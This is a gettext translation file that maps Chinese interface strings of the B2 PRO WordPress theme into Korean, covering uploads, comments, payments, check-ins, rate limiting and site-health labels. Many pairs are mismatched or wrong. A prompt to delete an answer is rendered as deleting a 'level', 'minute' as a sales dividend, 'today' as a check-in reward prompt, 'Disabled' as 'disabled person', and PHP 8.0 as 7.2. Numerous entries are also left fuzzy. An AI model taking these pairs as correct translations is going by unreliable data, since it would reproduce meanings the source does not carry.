#: functions.php:2173
msgid "发布成功"
msgstr "성공한"

#: functions.php:2174
msgid "等待文件上传"
msgstr "파일 업로드 대기 중"

#: functions.php:2176
msgid "您已上传过一张图片，确定要删除重新上传吗？"
msgstr "이미 사진을 업로드했습니다. 사진을 삭제하고 다시 업로드 하시겠습니까?"

#: functions.php:2177
msgid "您已上传过一个附件，确定要删除重新上传吗？"
msgstr "첨부 파일을 업로드했습니다. 삭제하고 다시 업로드 하시겠습니까?"

#: functions.php:2179
msgid "查看隐藏内容："
msgstr "숨겨진 콘텐츠보기 :"

#: functions.php:2180
#, fuzzy
#| msgid "无权查看评论"
msgid "暂无权查看评论内容"
msgstr "댓글을 볼 수있는 권한이 없습니다."

#: functions.php:2181
msgid "确定要删除这个回答吗？"
msgstr "이 레벨을 삭제 하시겠습니까?"

#: functions.php:2182
msgid "确定要删除这条评论吗？"
msgstr "이 리소스를 삭제 하시겠습니까?"

#: functions.php:2185
msgid "请勾选注册协议"
msgstr "등록 동의를 체크해주세요"

#: functions.php:2188
msgid "评论并刷新后下载！"
msgstr "새로 고침 후 댓글을 달고 다운로드하세요!"

#: functions.php:2189
msgid "没有权限下载！"
msgstr "당신은 이 혜택을 수령하고 사용할 권한이 없습니다."

#: functions.php:2191
msgid "复制成功"
msgstr "성공적으로 복사"

#: functions.php:2192
msgid "请选中复制"
msgstr "다시 복사 하십시오."

#: functions.php:2193
msgid "请输入连接"
msgstr "연결을 입력하십시오"

#: functions.php:2194
msgid "确认要清除浏览记录吗？"
msgstr "인터넷 사용 기록을 삭제하시겠습니까?"

#: functions.php:2195
msgid "视频文件有损坏，无法上传："
msgstr "비디오 파일이 손상되어 업로드 할 수 없습니다."

#: functions.php:2198
msgid "您已经签到了"
msgstr "로그인했습니다"

#: functions.php:2199
msgid "确定要删除这个优惠劵吗？"
msgstr "이 모듈을 삭제 하시겠습니까?"

#: functions.php:2200
msgid "确定要删除这篇文章吗？"
msgstr "이 파일을 삭제 하시겠습니까?"

#: functions.php:2201
msgid "等人"
msgstr "%s등 사용자가 %s에 댓글에 답장했습니다."

#: functions.php:2204
msgid "请在这里编辑您的隐藏内容"
msgstr "여기에서 숨겨진 콘텐츠를 수정하세요."

#: functions.php:2206
msgid "购买数量错误"
msgstr "수량"

#: functions.php:2207
msgid "确定要删除这个地址吗？"
msgstr "이 모듈을 삭제 하시겠습니까?"

#: functions.php:2208
msgid "请添加您的收货地址"
msgstr "배송지 추가"

#: functions.php:2209
msgid "请添加您的邮箱地址！"
msgstr "정확한 이메일 주소를 입력하세요."

#: functions.php:2211
msgid "领取成功"
msgstr "수령성공"

#: functions.php:2212 functions.php:3388 functions.php:3417
msgid "分"
msgstr "1급 판매배당"

#: functions.php:2213 functions.php:3390 functions.php:3417
msgid "秒"
msgstr "초후 다시 발송 할수 있습니다."

#: functions.php:2214
msgid "和"
msgstr "그리고"

#: functions.php:2215
msgid "修改成功"
msgstr "성공적으로 수정 됨"

#: functions.php:2217
#, fuzzy, php-format
msgid "%s标题和内容必填"
msgstr "경고 제목 및 내용이 필요합니다."

#: functions.php:2218
#, fuzzy, php-format
msgid "%s发布成功"
msgstr "성공한"

#: functions.php:2219
msgid "确定要消费 ${credit} 积分进行抽奖吗？"
msgstr "추첨에 $ {credit} 포인트를 사용 하시겠습니까?"

#: functions.php:2220
msgid "签到中,请稍后..."
msgstr "택배조회중, 잠시만 기다려주십시오 ..."

#: functions.php:2222
msgid "保存草稿成功"
msgstr "임시 저장"

#: functions.php:2223
msgid "阅读更多"
msgstr "더 읽어보기"

#: functions.php:2224
msgid "涂鸦不可为空！"
msgstr "메시지는 비워 둘 수 없습니다."

#: functions.php:2226
#, fuzzy
msgid "请前往手机或邮箱查看验证码"
msgstr "#인증코드보기 로 이동하세요."

#: functions.php:2228
msgid "手机"
msgstr "휴대폰"

#: functions.php:2232
#, fuzzy, php-format
msgid "申请之后%s会扣除提现部分，稍后由我们人工为您提现，确认要提现吗？"
msgstr ""
"신청 후 출금 부분에서 잔액이 차감됩니다. 나중에 현금을 인출해 드리겠습니다. "
"출금하시겠습니까?"

#: functions.php:2233
msgid "最多只能上传 ${count} 个文件"
msgstr "최대 ${count}개의 파일만 업로드할 수 있습니다."

#: functions.php:2234
msgid "还能再上传 ${count} 个文件"
msgstr "업로드할 파일이 ${count} 더 있습니다."

#: functions.php:2235
msgid "请完成所有红星的必填项目"
msgstr "Red Star에 대한 모든 필수 필드를 작성하십시오."

#: functions.php:2236
msgid "您选择了置顶，请先支付"
msgstr "상단을 고수하기로 선택했습니다. 먼저 지불하십시오."

#: functions.php:2241
msgid "提交成功"
msgstr "제출 성공"

#: functions.php:2242
#, fuzzy
#| msgid "最多只能发送300个字"
msgid "最多只能选择3个标签"
msgstr "최대 300 단어까지만 보낼 수 있습니다."

#: functions.php:2243
msgid "选择最佳答案后无法变更，确定要指定此回答为最佳答案吗？"
msgstr ""
"정답을 선택한 후에는 답을 변경할 수 없는데, 이 답을 정답으로 지정하시겠습니"
"까?"

#: functions.php:2244
msgid "您暂时无权发表帖子"
msgstr "현재 게시할 수 있는 권한이 없습니다."

#: functions.php:2245
#, fuzzy
msgid "举报成功，我们会通过邮件给向反馈举报结果！"
msgstr "보고서가 성공적으로 완료되면 이메일을 통해 피드백을 보내드립니다!"

#: functions.php:2249
msgid "公共区域，请文明发言!"
msgstr "공공 장소에서 말씀 해주세요!"

#: functions.php:2250
msgid "主题文件损坏，无法正常激活，请重新下载主题"
msgstr ""
"테마 파일이 손상되어 정상적으로 활성화되지 않습니다. 테마를 다시 다운로드하십"
"시오."

#: functions.php:2251
msgid "Wordpress没有正确安装，请从 cn.wordpress.org 站点下载最新版，重新安装"
msgstr ""
"Wordpress가 올바르게 설치되지 않았습니다. cn.wordpress.org에서 최신 버전을 다"
"운로드하고 다시 설치하십시오."

#: functions.php:2252
msgid "主题文件损坏，无法正常激活，请重新下载主题。"
msgstr ""
"테마 파일이 손상되어 정상적으로 활성화되지 않습니다. 테마를 다시 다운로드하세"
"요."

#: functions.php:2253
#, php-format
msgid ""
"主题文件夹权限错误：通常情况下 %s 文件夹内所有文件的用户组应当是 www 并且权限"
"为 755 请修改之后再激活。"
msgstr ""
"테마 폴더 권한 오류 : 일반적으로  %s 폴더에있는 모든 파일의 사용자 그룹은 www"
"이고 권한은 755 여야합니다. 활성화하기 전에 수정하십시오."

#: functions.php:2254
msgid "授权错误"
msgstr "승인 오류"

#: functions.php:2258
msgid "的基本信息"
msgstr "기본정보"

#: functions.php:2262
msgid "充值金额应当大于"
msgstr "충전량은  %s보다 커야합니다."

#: functions.php:2263
msgid "没有这个等级"
msgstr "이 수준이 아님"

#: functions.php:2265
msgid "签到积分设置错误"
msgstr "로그인 포인트 설정 오류"

#: functions.php:2266
msgid "您没有必要填坑"
msgstr "구멍을 채울 필요가 없습니다"

#: functions.php:2267
#, fuzzy, php-format
#| msgid "您的积分余额不足"
msgid "您的%s不足"
msgstr "포인트 잔액이 부족합니다."

#: functions.php:2269
msgid "支付金额过大"
msgstr "결제 금액이 너무 큽니다."

#: functions.php:2270
msgid "支付过期，请重新发起"
msgstr "지불이 만료되었습니다. 다시 시작하십시오."

#: functions.php:2271
msgid "订单合法性检查失败"
msgstr "주문 적법성 확인 실패"

#: functions.php:2272
msgid ""
"发布频次过高！您已被关小黑屋，一个小时后解封。多次被关小黑屋会永久封禁IP和账"
"户"
msgstr ""
"릴리스 빈도가 너무 높습니다! 당신은 작은 검은 방에 갇 혔고 한 시간 후에 풀려"
"날 것입니다. 여러 번 종료 된 후 작은 검은 집은 IP와 계정을 영구적으로 차단합"
"니다."

#: functions.php:2273
msgid "在小黑屋中，无法操作"
msgstr "작은 검은 방에서 작동 할 수 없습니다"

#: functions.php:2274
msgid "请求本站接口过于频繁"
msgstr "이 사이트의 인터페이스를 악의적으로 자주 요청하십시오."

#: functions.php:2277
msgid "普通用户组"
msgstr "일반 사용자 그룹"

#: functions.php:2278
msgid "VIP用户组"
msgstr "VIP 사용자 그룹"

#: functions.php:2284
#, fuzzy
#| msgid "请求本站接口过于频繁"
msgid "请求本站接口过于频繁，关入小黑屋！"
msgstr "이 사이트의 인터페이스를 악의적으로 자주 요청하십시오."

#: functions.php:2285
#, fuzzy
#| msgid "加入小黑屋的时间"
msgid "关入小黑屋"
msgstr "작은 검은 집에 합류 할 시간"

#: functions.php:2286
#, fuzzy
msgid "您发起了一个付费提问"
msgstr "서클에서 유료 질문을 시작하셨습니다.› %s"

#: functions.php:2287
#, fuzzy
msgid "付费提问"
msgstr "유료 질문에 동그라미 표시"

#: functions.php:2289
#, fuzzy
msgid "超过每日充值次数限制，请明天再来充值"
msgstr "일일 충전 한도를 초과한 경우 내일 다시 방문하여 재충전하세요."

#: functions.php:2290
#, fuzzy
msgid "超过每日充值金额上限，请减少充值金额"
msgstr "일일 최대 충전 금액을 초과하는 경우 충전 금액을 줄여주세요."

#: functions.php:2293
msgid "置顶天数必须大于等于1天"
msgstr "고정 날짜는 1일 이상이어야 합니다."

#: functions.php:2307
msgid "发送私信"
msgstr "메시지 보내기"

#: functions.php:2309
msgid "发布评论"
msgstr "댓글 달기"

#: functions.php:2312
#, php-format
msgid "%s的回答"
msgstr "%s 의 답변"

#: functions.php:2317
#, php-format
msgid "%s发帖"
msgstr "%s게시"

#: functions.php:2363
msgid "文章被点赞"
msgstr "좋아요 받기"

#: functions.php:2370
#, fuzzy
msgid "文章（帖子）被评论"
msgstr "기사(게시물)에 댓글이 달렸습니다."

#: functions.php:2398
msgid "被某人关注"
msgstr "구독자 늘리기"

#: functions.php:2415
msgid "绑定QQ"
msgstr "QQ 바인딩"

#: functions.php:2422
msgid "绑定微信"
msgstr "WeChat에 바인딩"

#: functions.php:2429
msgid "绑定微博"
msgstr "Weibo 바인딩"

#: functions.php:2436
msgid "获得认证"
msgstr "인증하기"

#: functions.php:2512
msgid "设置已保存。"
msgstr "설정이 저장됩니다."

#: functions.php:2512
msgid "保存失败，请重试。"
msgstr "저장하지 못했습니다. 다시 시도하세요."

#: functions.php:2830 functions.php:2832
msgid " 月 "
msgstr "월"

#: functions.php:2830 functions.php:2832
msgid " 日 "
msgstr "일"

#: functions.php:2832
msgid " 年 "
msgstr "년"

#: functions.php:2847 functions.php:2848
#, fuzzy, php-format
#| msgid "%s年%s月%s日"
msgid "%s月%s"
msgstr "%s년%s월%s일"

#: functions.php:2874
msgid "今天，"
msgstr "오늘의 출석 보상을 받으려면 클릭하십시오!"

#: functions.php:2882
msgid "昨天，"
msgstr "어제%s%s"

#: functions.php:2890
msgid "前天，"
msgstr "그제%s%s"

#: functions.php:2898
#, php-format
msgid "%s月%s日，%s"
msgstr "%s년%s월%s일"

#: functions.php:2941
msgid "星期日"
msgstr "일요일"

#: functions.php:2942
msgid "星期一"
msgstr "월요일"

#: functions.php:2943
msgid "星期二"
msgstr "화요일"

#: functions.php:2944
msgid "星期三"
msgstr "수요일"

#: functions.php:2945
msgid "星期四"
msgstr "목요일"

#: functions.php:2946
msgid "星期五"
msgstr "금요일"

#: functions.php:2947
msgid "星期六"
msgstr "토요일"

#: functions.php:3373 functions.php:3376 functions.php:3417
msgid "年"
msgstr "년"

#: functions.php:3383 functions.php:3386 functions.php:3417
msgid "小时"
msgstr "한 시간 전에"

#: functions.php:3417
msgid "月"
msgstr "월"

#: loader.php:71
#, fuzzy
msgid "PHP版本太低，请升级到 8.0 以上的版本。"
msgstr "PHP 버전이 너무 낮습니다. 7.2 이상의 버전으로 업그레이드하십시오."

#: loader.php:71 loader.php:84 loader.php:109 loader.php:118 loader.php:128
msgid "如果您是管理员，请登陆后台操作"
msgstr "관리자 인 경우 백그라운드로 로그인하여 운영하십시오."

#: loader.php:82
#, fuzzy
msgid "升级扩展"
msgstr "업그레이드 확장"

#: loader.php:82
#, fuzzy
msgid "请前往%后台%s页面根据提示操作"
msgstr "배경%s 페이지로 이동하여 지시를 따릅니다!"

#: loader.php:84 loader.php:109 loader.php:118 loader.php:128
msgid "系统维护中....."
msgstr "시스템 유지 보수 중 ....."

#: loader.php:116
#, fuzzy
msgid "检查扩展安装"
msgstr "확장 프로그램 설치 확인"

#: loader.php:116
#, fuzzy
msgid "显示这个页面说明扩展安装有问题，请检查，或者尝试重启PHP"
msgstr ""
"이 페이지는 확장 프로그램이 제대로로드되지 않았 음을 보여줍니다. PHP를 다시 "
"시작하세요."

#: loader.php:126
#, fuzzy
msgid "安装扩展"
msgstr "확장을 설치하십시오"

#: loader.php:126
#, fuzzy, php-format
msgid "请前往%s后台%s页面安装扩展"
msgstr ""
"확장 프로그램을 설치하려면 %sB2 확장 프로그램 설치%s 페이지로 이동하세요."

#: loader.php:183
#, php-format
msgid ""
"您的 Wordpress 安装不完整，请按照链接中的说明进行修复：%shttps://7b2.com/"
"document/59388.html%s"
msgstr ""
"워드프레스 설치가 완료되지 않았습니다. 링크의 지침에 따라 수정하세요: %s "
"https://7b2.com/document/59388.html%s"

#: loader.php:198
#, php-format
msgid ""
"B2主题不再必须单独安装 JWT（JWT Authentication for WP-API） 插件，现在，您可"
"以将其 %s禁用或删除%s。"
msgstr ""
"B2 테마에서는 더 이상 JWT(WP-API용 JWT 인증) 플러그인을 별도로 설치할 필요가 "
"없으므로 이제 비활성화%s 또는 제거%s할 수 있습니다."

#: search.php:55
#, fuzzy
#| msgid "关键词 [%s] 的搜索结果："
msgid "搜索结果："
msgstr "키워드 [ %s]에 대한 검색 결과 :"

#: single-ask.php:55
msgid "悬赏已过期"
msgstr "보상이 만료되었습니다."

#: single-ask.php:56
#, php-format
msgid "%s后悬赏过期"
msgstr "보상은 %s 이후에 만료됩니다."

#: single-ask.php:113
#, php-format
msgid "邀请：%s"
msgstr "초대: %s"

#: single-ask.php:118 single-ask.php:134
#, fuzzy
#| msgid "始终显示全部"
msgid "显示全部"
msgstr "아이디"

#: single-ask.php:140
#, fuzzy, php-format
#| msgid "私密%s"
msgid "写%s"
msgstr ""
"WeChat 스캔 코드 로그인 응용 프로그램 주소 :  %s; 콜백 주소, 입력하십시오 :  "
"%s"

#: single-ask.php:145
#, php-format
msgid "您的%s"
msgstr "귀하의 %s"

#: single-ask.php:154
msgid "默认排序"
msgstr "기본 정렬"

#: single-ask.php:155
#, fuzzy
#| msgid "切换为时间排序"
msgid "时间排序"
msgstr "게시 시간순으로 정렬"

#: single-ask.php:259
#, php-format
msgid "%s条讨论"
msgstr "%s 토론"

#: single-document.php:91
msgid "此组别内的文章"
msgstr "이 카테고리의 기사"

#: single-document.php:98
msgid "需要支持？"
msgstr "도움이 필요합니까?"

#: single-document.php:99
msgid "如果通过文档没办法解决您的问题，请提交工单获取我们的支持！"
msgstr "도움말를 통해 당신의 문제를 해결할 수 없다면, 질문을 제출하십시오!"

#. Theme Name of the plugin/theme
msgid "B2 PRO"
msgstr "B2 PRO"

#. Theme URI of the plugin/theme
#. Author URI of the plugin/theme
msgid "https://7b2.com/"
msgstr "https://7b2.com/"

#. Description of the plugin/theme
msgid "wordpress 高级商用主题，模块化管理，兼容微信的各种环境"
msgstr ""
"Wordpress 고급 상업 테마, 모듈 식 관리, WeChat의 다양한 환경과 호환 가능"

#. Author of the plugin/theme
msgid "Li Ruchun"
msgstr "리 루춘"

#~ msgid "扫码查看详情"
#~ msgstr "스캔하여 상세한 내용을 확인 하세요."

#~ msgid "获取失败"
#~ msgstr "가져오는데 실패했습니다."

#~ msgid "用户名错误"
#~ msgstr "아이디 오류"

#~ msgid "获取用户ID失败"
#~ msgstr "사용자 ID를 얻지 못했습니다."

#, php-format
#~ msgid "(Latest version: %s)"
#~ msgstr "(최신 버전: %s)"

#~ msgid "WordPress"
#~ msgstr "워드프레스"

#~ msgid "Version"
#~ msgstr "버전"

#~ msgid "Site Language"
#~ msgstr "사이트 언어"

#~ msgid "User Language"
#~ msgstr "사용자 언어"

#~ msgid "Timezone"
#~ msgstr "시간대"

#~ msgid "Home URL"
#~ msgstr "홈 URL"

#, fuzzy
#~| msgid "Site key"
#~ msgid "Site URL"
#~ msgstr "사이트 키"

#~ msgid "Permalink structure"
#~ msgstr "퍼머링크 구조"

#~ msgid "No permalink structure set"
#~ msgstr "퍼머링크 구조가 설정되지 않았습니다."

#~ msgid "Is this site using HTTPS?"
#~ msgstr "이 사이트에서 HTTPS를 사용하나요?"

#~ msgid "Yes"
#~ msgstr "예"

#~ msgid "No"
#~ msgstr "아니요"

#~ msgid "Is this a multisite?"
#~ msgstr "다중 사이트인가요?"

#~ msgid "Can anyone register on this site?"
#~ msgstr "누구나 이 사이트에 등록할 수 있나요?"

#~ msgid "Is this site discouraging search engines?"
#~ msgstr "이 사이트가 검색 엔진의 검색을 방해하나요?"

#~ msgid "Default comment status"
#~ msgstr "기본 댓글 상태"

#~ msgctxt "comment status"
#~ msgid "Open"
#~ msgstr "열기"

#~ msgctxt "comment status"
#~ msgid "Closed"
#~ msgstr "닫힘"

#~ msgid "Environment type"
#~ msgstr "환경 유형"

#~ msgid "Directories and Sizes"
#~ msgstr "디렉토리 및 크기"

#~ msgid "Drop-ins"
#~ msgstr "드롭인"

#, php-format
#~ msgid ""
#~ "Drop-ins are single files, found in the %s directory, that replace or "
#~ "enhance WordPress features in ways that are not possible for traditional "
#~ "plugins."
#~ msgstr ""
#~ "드롭인은 %s 디렉토리에 있는 단일 파일로, 기존 플러그인에서는 불가능한 방식"
#~ "으로 워드프레스 기능을 대체하거나 향상시킵니다."

#~ msgid "Active Theme"
#~ msgstr "활성 테마"

#~ msgid "Parent Theme"
#~ msgstr "부모 테마"

#~ msgid "Inactive Themes"
#~ msgstr "비활성 테마"

#~ msgid "Must Use Plugins"
#~ msgstr "플러그인 사용 필수"

#~ msgid "Active Plugins"
#~ msgstr "활성 플러그인"

#~ msgid "Inactive Plugins"
#~ msgstr "비활성 플러그인"

#~ msgid "Media Handling"
#~ msgstr "미디어 처리"

#~ msgid "Server"
#~ msgstr "서버"

#~ msgid ""
#~ "The options shown below relate to your server setup. If changes are "
#~ "required, you may need your web host&#8217;s assistance."
#~ msgstr ""
#~ "아래 표시된 옵션은 서버 설정과 관련된 것입니다. 변경이 필요한 경우 웹 호스"
#~ "트의 도움이 필요할 수 있습니다."

#~ msgid "Database"
#~ msgstr "데이터베이스"

#~ msgid "Disabled"
#~ msgstr "장애인"

#~ msgid "Enabled"
#~ msgstr "활성화됨"

#~ msgid "Undefined"
#~ msgstr "정의되지 않음"

#~ msgid "WordPress Constants"
#~ msgstr "워드프레스 상수"

#~ msgid "These settings alter where and how parts of WordPress are loaded."
#~ msgstr ""
#~ "이러한 설정은 워드프레스의 일부가 로드되는 위치와 방식을 변경합니다."

#~ msgid "Filesystem Permissions"
#~ msgstr "파일 시스템 권한"

#~ msgid ""
#~ "Shows whether WordPress is able to write to the directories it needs "
#~ "access to."
#~ msgstr ""
#~ "워드프레스에서 액세스 권한이 필요한 디렉터리에 쓸 수 있는지 여부를 표시합"
#~ "니다."

#~ msgid "The main WordPress directory"
#~ msgstr "워드프레스 기본 디렉토리"

#~ msgid "Writable"
#~ msgstr "쓰기 가능"

#~ msgid "Not writable"
#~ msgstr "쓰기 불가능"

#~ msgid "The wp-content directory"
#~ msgstr "wp-content 디렉토리"

#~ msgid "The uploads directory"
#~ msgstr "업로드 디렉토리"

#~ msgid "The plugins directory"
#~ msgstr "플러그인 디렉터리"

#~ msgid "The themes directory"
#~ msgstr "테마 디렉토리"

#~ msgid "Site count"
#~ msgstr "사이트 수"

#~ msgid "Network count"
#~ msgstr "네트워크 수"

#~ msgid "User count"
#~ msgstr "사용자 수"

#~ msgid "Communication with WordPress.org"
#~ msgstr "워드프레스닷오알지와의 커뮤니케이션"

#~ msgid "WordPress.org is reachable"
#~ msgstr "워드프레스닷컴에 연결할 수 있습니다."

#, php-format
#~ msgid "Unable to reach WordPress.org at %1$s: %2$s"
#~ msgstr "0]: %2$s에서 워드프레스닷컴에 연결할 수 없습니다."

#~ msgid "Loading&hellip;"
#~ msgstr "로드 중..."

#~ msgid "WordPress directory location"
#~ msgstr "워드프레스 디렉토리 위치"

#~ msgid "WordPress directory size"
#~ msgstr "워드프레스 디렉토리 크기"

#~ msgid "Uploads directory location"
#~ msgstr "디렉토리 위치 업로드"

#~ msgid "Uploads directory size"
#~ msgstr "업로드 디렉토리 크기"

#~ msgid "Themes directory location"
#~ msgstr "테마 디렉토리 위치"

#~ msgid "Themes directory size"
#~ msgstr "테마 디렉토리 크기"

#~ msgid "Plugins directory location"
#~ msgstr "플러그인 디렉터리 위치"

#~ msgid "Plugins directory size"
#~ msgstr "플러그인 디렉터리 크기"

#~ msgid "Database size"
#~ msgstr "데이터베이스 크기"

#~ msgid "Total installation size"
#~ msgstr "총 설치 크기"

#~ msgid "Not available"
#~ msgstr "사용 불가"

#~ msgid "Active editor"
#~ msgstr "활성 편집기"

#~ msgid "ImageMagick version number"
#~ msgstr "이미지매직 버전 번호"

#~ msgid "ImageMagick version string"
#~ msgstr "이미지매직 버전 문자열"

#~ msgid "Imagick version"
#~ msgstr "Imagick 버전"

#~ msgid "File upload settings"
#~ msgstr "파일 업로드 설정"

#, php-format
#~ msgid ""
#~ "Unable to determine some settings, as the %s function has been disabled."
#~ msgstr "0] 기능이 비활성화되어 일부 설정을 확인할 수 없습니다."

#~ msgid "File uploads"
#~ msgstr "파일 업로드"

#~ msgid "Max size of post data allowed"
#~ msgstr "허용되는 포스트 데이터의 최대 크기"

#~ msgid "Max size of an uploaded file"
#~ msgstr "업로드된 파일의 최대 크기"

#~ msgid "Max effective file size"
#~ msgstr "최대 유효 파일 크기"

#~ msgid "Max number of files allowed"
#~ msgstr "허용되는 최대 파일 수"

#~ msgid "Imagick Resource Limits"
#~ msgstr "Imagick 리소스 제한"

#~ msgid "ImageMagick supported file formats"
#~ msgstr "ImageMagick 지원 파일 형식"

#~ msgid "Unable to determine"
#~ msgstr "확인할 수 없음"

#~ msgid "GD version"
#~ msgstr "GD 버전"

#~ msgid "GD supported file formats"
#~ msgstr "GD 지원 파일 형식"

#~ msgid "Unable to determine if Ghostscript is installed"
#~ msgstr "고스트 스크립트가 설치되어 있는지 확인할 수 없습니다."

#~ msgid "Ghostscript version"
#~ msgstr "고스트 스크립트 버전"

#~ msgid "(Supports 64bit values)"
#~ msgstr "(64비트 값 지원)"

#~ msgid "(Does not support 64bit values)"
#~ msgstr "(64비트 값은 지원하지 않음)"

#~ msgid "Server architecture"
#~ msgstr "서버 아키텍처"

#~ msgid "Unable to determine server architecture"
#~ msgstr "서버 아키텍처를 확인할 수 없음"

#~ msgid "Web server"
#~ msgstr "웹 서버"

#~ msgid "Unable to determine what web server software is used"
#~ msgstr "사용되는 웹 서버 소프트웨어를 확인할 수 없습니다."

#~ msgid "PHP version"
#~ msgstr "PHP 버전"

#~ msgid "PHP SAPI"
#~ msgstr "PHP SAPI"

#~ msgid "Unable to determine PHP SAPI"
#~ msgstr "PHP SAPI를 확인할 수 없습니다."

#~ msgid "Server settings"
#~ msgstr "서버 설정"

#~ msgid "PHP max input variables"
#~ msgstr "PHP 최대 입력 변수"

#~ msgid "PHP time limit"
#~ msgstr "PHP 시간 제한"

#~ msgid "PHP memory limit"
#~ msgstr "PHP 메모리 제한"

#~ msgid "PHP memory limit (only for admin screens)"
#~ msgstr "PHP 메모리 제한(관리자 화면에만 해당)"

#~ msgid "Max input time"
#~ msgstr "최대 입력 시간"

#~ msgid "Upload max filesize"
#~ msgstr "최대 파일 크기 업로드"

#~ msgid "PHP post max size"
#~ msgstr "PHP 포스트 최대 크기"

#~ msgid "cURL version"
#~ msgstr "cURL 버전"

#~ msgid "Is SUHOSIN installed?"
#~ msgstr "수호신이 설치되어 있나요?"

#~ msgid "Is the Imagick library available?"
#~ msgstr "Imagick 라이브러리를 사용할 수 있나요?"

#~ msgid "Are pretty permalinks supported?"
#~ msgstr "예쁜 퍼머링크가 지원되나요?"

#, php-format
#~ msgid "Custom rules have been added to your %s file."
#~ msgstr "사용자 지정 규칙이 %s 파일에 추가되었습니다."

#, php-format
#~ msgid "Your %s file contains only core WordPress features."
#~ msgstr "0] 파일에는 워드프레스 핵심 기능만 포함되어 있습니다."

#~ msgid ".htaccess rules"
#~ msgstr ".htaccess 규칙"

#~ msgid "Current time"
#~ msgstr "현재 시간"

#~ msgid "Current UTC time"
#~ msgstr "현재 UTC 시간"

#~ msgid "Current Server time"
#~ msgstr "현재 서버 시간"

#~ msgid "Extension"
#~ msgstr "확장"

#~ msgid "Server version"
#~ msgstr "서버 버전"

#~ msgid "Client version"
#~ msgstr "클라이언트 버전"

#~ msgid "Database username"
#~ msgstr "데이터베이스 사용자 이름"

#~ msgid "Database host"
#~ msgstr "데이터베이스 호스트"

#~ msgid "Database name"
#~ msgstr "데이터베이스 이름"

#~ msgid "Table prefix"
#~ msgstr "테이블 접두사"

#~ msgid "Database charset"
#~ msgstr "데이터베이스 문자셋"

#~ msgid "Database collation"
#~ msgstr "데이터베이스 대조"

#~ msgid "Max allowed packet size"
#~ msgstr "최대 허용 패킷 크기"

#~ msgid "Max connections number"
#~ msgstr "최대 연결 수"

#~ msgid "No version or author information is available."
#~ msgstr "버전 또는 작성자 정보를 사용할 수 없습니다."

#, php-format
#~ msgid "Version %1$s by %2$s"
#~ msgstr "버전 %1$s으로 %2$s"

#, fuzzy, php-format
#~ msgid "By %s"
#~ msgstr "%s 할인"

#, php-format
#~ msgid "Version %s"
#~ msgstr "버전 %s"

#~ msgid "Auto-updates enabled"
#~ msgstr "자동 업데이트 사용"

#~ msgid "Auto-updates disabled"
#~ msgstr "자동 업데이트 비활성화"

#, php-format
#~ msgid "%1$s (%2$s)"
#~ msgstr "%1$s (%2$s)"

#~ msgid "None"
#~ msgstr "없음"

#~ msgid "Name"
#~ msgstr "이름"

#~ msgid "Author"
#~ msgstr "작성자"

#~ msgid "Author website"
#~ msgstr "저자 웹사이트"

#~ msgid "Parent theme"
#~ msgstr "상위 테마"

#~ msgid "Theme features"
#~ msgstr "테마 기능"

#~ msgid "Theme directory location"
#~ msgstr "테마 디렉터리 위치"

#~ msgid "Auto-updates"
#~ msgstr "자동 업데이트"

#~ msgid "Auto-update"
#~ msgstr "자동 업데이트"

#~ msgid "The must use plugins directory"
#~ msgstr "플러그인 디렉토리를 사용해야 합니다."

#~ msgid "模板错误"
#~ msgstr "템플릿 오류"

#, fuzzy
#~ msgid "活动"
#~ msgstr "활동"

#, fuzzy
#~| msgid "连接内页顶部广告位"
#~ msgid "活动内页顶部广告位"
#~ msgstr "내부 페이지의 상단 광고 슬롯에 대한 링크"

#, fuzzy
#~| msgid "连接内页底部广告位"
#~ msgid "活动内页底部广告位"
#~ msgstr "내부 페이지 하단에 연결"

#~ msgid "7、更多内容请参考：推广系统说明"
#~ msgstr "7. 자세한 내용은 프로모션 시스템 설명을 참고하세요."

#~ msgid "允许分红"
#~ msgstr "배당금 허용"

#~ msgid "禁止分红"
#~ msgstr "배당금 없음"

#~ msgid "【活动】名称"
#~ msgstr "[활동] 이름"

#, fuzzy
#~| msgid "【公告】连接别名"
#~ msgid "【活动】连接别名"
#~ msgstr "[공지] 연결 별칭"

#~ msgid "是否允许分红"
#~ msgstr "배당 허용 여부"

#~ msgid "不允许分红"
#~ msgstr "배당금 없음"

#~ msgid "我要爆料"
#~ msgstr "나는 뉴스를 깨고 싶어"

#~ msgid "分享到微信"
#~ msgstr "WeChat에 공유"

#, fuzzy, php-format
#~ msgid "免费入加入%s，可阅读更多%s内话题"
#~ msgstr ""
#~ "무료로 서클에 가입하세요. 서클에 가입 한 후 서클에서 더 많은 주제를 읽을 "
#~ "수 있습니다."

#~ msgid "暂无相关结果"
#~ msgstr "관련 결과 없음"

#, fuzzy
#~ msgid "请激活主题"
#~ msgstr "데이터를 가져오기 전에 테마를 활성화하세요."

#, fuzzy, php-format
#~ msgid "请前往%sB2主题激活%s页面激活主题"
#~ msgstr "테마를 활성화하려면 %sB2 테마 활성화%s 페이지로 이동하세요."

#~ msgid "扩展未能正确安装"
#~ msgstr "확장 프로그램이 올바르게 설치되지 않았습니다."

#~ msgid "请重启一下php"
#~ msgstr "PHP를 다시 시작하십시오"

#, fuzzy, php-format
#~ msgid "%s图标错误"
#~ msgstr "원형 아이콘 오류"

#, php-format
#~ msgid "如果关闭，用户在广场发帖的时候会提示选择%s"
#~ msgstr ""
#~ "이 기능을 끄면 사각형에 게시할 때 사용자에게 %s을 선택하라는 메시지가 표시"
#~ "됩니다."

#, php-format
#~ msgid ""
#~ "1、打开您的php.ini文件（%s），删除类似%s的整行代码。一般在php.ini文件最下"
#~ "面几行"
#~ msgstr ""
#~ "1. php.ini 파일 ( %s)을 연 다음  %s를 php.ini 파일의 마지막 줄에 복사하여 "
#~ "저장합니다."

#, php-format
#~ msgid ""
#~ "1、打开您的php.ini文件（%s），然后将%s复制到php.ini文件的最后一行保存"
#~ msgstr ""
#~ "1. php.ini 파일 ( %s)을 연 다음  %s를 php.ini 파일의 마지막 줄에 복사하여 "
#~ "저장합니다."

#~ msgid "2、重启php"
#~ msgstr "2. PHP 다시 시작"

#~ msgid "3、刷新本页后激活"
#~ msgstr "3.이 페이지를 새로 고침 한 후 활성화"

#~ msgid "激活"
#~ msgstr "활성화"

#~ msgid "请在官网个人中心查看是第几号会员，然后把会员号填在此处激活"
#~ msgstr ""
#~ "공식 홈페이지 개인 센터에서 회원 번호를 확인하신 후 여기에 회원 번호를 입"
#~ "력하시면 활성화됩니다."

#~ msgid "网站连接符"
#~ msgstr "사이트 커넥터"

#~ msgid "用户设置"
#~ msgstr "사용자 설정"

#, fuzzy, php-format
#~ msgid "请直接填写%sID，不设置则默认不设置%s"
#~ msgstr ""
